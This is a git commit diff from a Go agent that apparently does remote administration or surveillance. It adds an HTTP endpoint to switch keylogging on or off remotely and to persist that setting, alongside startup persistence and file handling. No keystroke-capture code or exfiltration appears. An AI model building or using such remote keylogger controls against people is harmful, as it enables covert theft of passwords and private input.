feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||
"agent_version": config.Version, "listen_address": a.addr,
|
||||
"startup_enabled": startup.Enabled(),
|
||||
"klogging": keylog.Running(),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||
}
|
||||
|
||||
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"klogging": config.KeylogEnabled(),
|
||||
"klogging_running": keylog.Running(),
|
||||
})
|
||||
case http.MethodPut:
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var body struct {
|
||||
Klogging *bool `json:"klogging"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
|
||||
return
|
||||
}
|
||||
if err := keylog.SetEnabled(*body.Klogging); err != nil {
|
||||
helpers.Log.Printf("klogging set: %v", err)
|
||||
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||
"klogging": config.KeylogEnabled(),
|
||||
"klogging_running": keylog.Running(),
|
||||
})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
|
||||
Reference in New Issue
Block a user